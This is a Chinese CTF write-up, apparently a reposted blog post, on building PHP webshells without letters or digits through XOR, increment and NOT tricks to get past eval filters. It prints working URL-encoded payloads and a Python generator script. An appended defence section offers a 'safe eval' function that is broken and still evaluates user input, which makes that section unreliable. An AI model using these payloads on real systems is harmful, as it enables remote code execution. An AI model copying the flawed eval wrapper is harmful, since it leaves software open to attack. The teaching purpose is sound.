无数字字母rce总结(取反、异或、自增)

转载自:从CTFShow[RCE挑战]中学习自增构造webshell-腾讯云开发者社区-腾讯云 (tencent.com)

构造语句的几种方式

首先来看一下最原始的例题

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

此时的话只是ban了数字和字母,然后这个时候的话想要构造webshell就需要用其他字符了,然后我们这里的话可以用位运算符中的取反、自增来做这个。

异或

这里需要先讲一点基础知识。 什么是异或,我们这里举一个例子,我们将字符 和 进行异或操作

<?php
echo 'A'^'?';

可以发现得到的结果是  ,那么它是如何计算的呢,过程如下 首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63 然后将其转换为对应的二进制数,A变为1000001,1变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1 

A:		1000001
1:		0111111(少一位,前面补0即可) 
结果:	1111110

接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~。 因此,我们利用这种思路,可以借助异或构造payload如下

$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

然后我们再取消一下换行符,将它合并于一行之中

$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);

最后进行一次URL编码(因为中间件会进行一次解码,所以我们这里需要手动编码一次),即可得最终payload

%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B

接下来本地简单测试一下,测试代码为

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
    die("hacker!");
}
eval($code);
?>

但是这种方式如果自己去慢慢找的话,过程是极为缓慢的,想到我们异或一次不仅能构造出一个字符,也可以一次构造出多个字符,比如('AB')^('11')此时就可以得到ps字符串,那我们这里是不是就可以构造一个脚本,通过一次异或运算得到我们想构造的字符串,比如system,那这里的话我们大体思路的话就有了

第一步:寻找未被过滤的字符
第二步:写入我们想构造的字符串,然后对它进行一个遍历,先获取第一个字符
第三步:用刚刚找到的未被过滤的字符进行一个遍历,看哪两个能够通过异或运算构造出第一个字符,同理得到后面的
第四步:输出时将字符进行一个URL编码,因为涉及到了部分不可见字符

 这里想到之前在CTFShow命令执行系列中用过一个脚本与此类似,这里简单修改一下脚本,就可以达到我们想要的效果了,脚本如下

import re
import requests
import urllib
from sys import *
import os

a=[]
ans1="" 
ans2=""
for i in range(0,256): #设置i的范围
    c=chr(i)
    #将i转换成ascii对应的字符,并赋值给c
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
    #设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
    if(tmp):
        continue
        #当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
    else:
        a.append(i)
        #在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="dir"      #参数
def myfun(k,my): #自定义函数
    global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
    global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
    for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量 
        for j in range(i,len(a)): #在上个循环的条件下设置j的范围
            if(a[i]^a[j]==ord(my[k])):
                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
                return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
    myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
    myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)

接下来去尝试一下        

自增

https://www.php.net/manual/zh/language.operators.increment.php当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符,比如现在我们获取到了=A,我们进行_++,此时

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

我们首先可以写一个[]看一下

<?php
$_=[];
var_dump($_);

这个时候的话可以看到它就是一个数组,我们无法获取它的这个Array字符,那我们该怎么获取呢,我们尝试拼接一个数字

<?php
$_=[].'1';
var_dump($_);

这里看到输出的是Array1,我们这里是不允许出现数字的,但我们直接拼接个空是不是也是可行的呢,尝试一下

<?php
$_=[].'';
var_dump($_);

 成功获取到了字符Array,然后我们获取想获取A的话,就可以采用[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==,此时因为空和不同,它就会输出0,此时也就等同于_[0],具体实现代码如下

<?php
$_=[];
$_=$_[''=='$'];
echo $_;

此时成功获取到了字符A,有了A,我们就可以通过自增依次获取其他字符,我们尝试获取一个字符G

<?php
$_=[];//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
var_dump($_);

 然后看我们这里的代码的话,是eval(code),所以我们就可以构造这种的_GET[1](

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

接下来就可以尝试去给___GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样

$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

而后变成

%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

 此时去尝试赋值成功执行了命令,输出了当前目录

取反

这个的话我们这里其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的。

这里的话利用一个php脚本即可获取我们想要的字符

<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');

接下来为例尝试一下

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
    die("hacker!");
}
eval($code);
?>

 

关于自增的一些知识点

知识点1

在自增中,可以通过特殊字符构造出字符串的有以下几种方式

[].''  //Array
(0/0).''   //NAN
(1/0).''   //INF

这个时候就有一个问题了,如果ban了数字,我们该怎么去构造NANINF呢,这个时候就需要讲到一个知识点,我们这里的话需要说一下这个NANINF

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

这里可以看出NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。

知识点2

我们在构造POST中的时,正常操作的话是这样,a='_'.b(假设这里b就是POST),然后这个时候如果'被ban,看似这里是无法再利用了,但其实,我们直接写a=.b也是可以的,这个时候效果同上而且缩短了字符长度。

 

### PHP RCE漏洞的攻防方法 #### 一、PHP RCE漏洞概述 远程代码执行(Remote Code Execution, RCE)是一种允许攻击者在目标系统上运行任意代码的安全漏洞。对于基于PHP的应用程序而言,这种类型的漏洞尤为危险,因为它可能导致敏感数据泄露、服务中断甚至完全控制服务器。 此类漏洞的发生原因主要包括但不限于以下几点[^3]: - **代码层过滤不严格**:开发者未能充分验证或转义用户输入的数据。 - **系统层面存在的缺陷**:某些配置不当或者未更新的操作系统特性被利用来实现命令注入。 - **依赖于含有漏洞的第三方组件**:如果项目使用了存在安全隐患的外部库,则也可能引入RCE风险。 #### 二、PHP RCE漏洞利用方式 要理解如何防护这些威胁之前,先得明白它们是如何被利用的: 1. **代码审计** 审查应用程序源码寻找任何能够直接或间接触发操作系统指令的功能调用,并判断那些地方是否妥善处理了来自用户的资料。例如`exec()`, `shell_exec()`, `system()` 和 backtick operators (`) 都属于高危操作符因为它们可以直接调用 shell 命令 [^4]. 2. **参数注入测试** 测试不同种类的请求参数(比如URL查询符串(GET), 表单提交数据(POST))能否成功嵌入有害脚本到后端逻辑里去影响最终被执行的内容. 3. **错误消息剖析** 当遇到异常情况时很多web应用会返回详细的诊断信息给客户端这往往暴露出了内部结构从而让黑客更容易定位薄弱环节加以突破. 4. **自动化工具有助于发现隐患** 使用诸如 OWASP ZAP ,Burp Suite Pro,Nikto 这样的软件可以帮助快速检测网站上的多种类型的问题包括可能引发rce状况的位置. 5. **审查第三方模块安全性状态** 对所采用的所有开源插件进行全面梳理确认是否有公开报告过的严重问题尚未解决版本仍在线生产环境中服役着. #### 三、PHP RCE漏洞防御手段 针对上述提到的各种可能性采取相应的防范措施至关重要: 1. **最小权限原则**: 确保Web服务器进程只拥有完成必要任务所需的最低限度资源访问权能减少一旦遭受入侵后的损害范围; 2. **白名单机制代替黑名单**: 将所有预期之外的行为都视为非法而不是单纯依靠阻止特定模式串匹配的方式更可靠些; 3. **加强输入校验力度**: 不仅限于表象级别的符替换还要考虑深层次语义方面的约束条件设置防止绕过常规检查路径达成目的 ; 4. **及时升级补丁保持最新版态**: 经常关注官方公告获取最新的修正包安装上去消除已知弱点带来的麻烦 ; 5. **实施严格的日志记录与监控体系**: 记录下每一次可疑活动以便事后追踪溯源找出真正元凶所在位置并作出改进方案 ; ```php // 示例: 正确地对用户输入进行过滤后再传递至eval() function safeEval($code){ $allowedFunctions = ['strlen', 'strpos']; // 只允许指定的一些无害函数 foreach ($allowedFunctions as &$funcName){ if (preg_match('/\b' . preg_quote($funcName,'/') . '\b/', $code)){ unset($funcName); }else{ throw new Exception('Invalid function call detected'); } } eval('$result=' . str_replace([';', '&'], '', trim($code))); } ``` 以上代码展示了怎样构建一个相对安全一点的环境下来评估动态生成表达式的合法性同时剔除了部分潜在危险成分如分号和ampersand符号组合成链式命令序列的情况发生几率大大降低。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值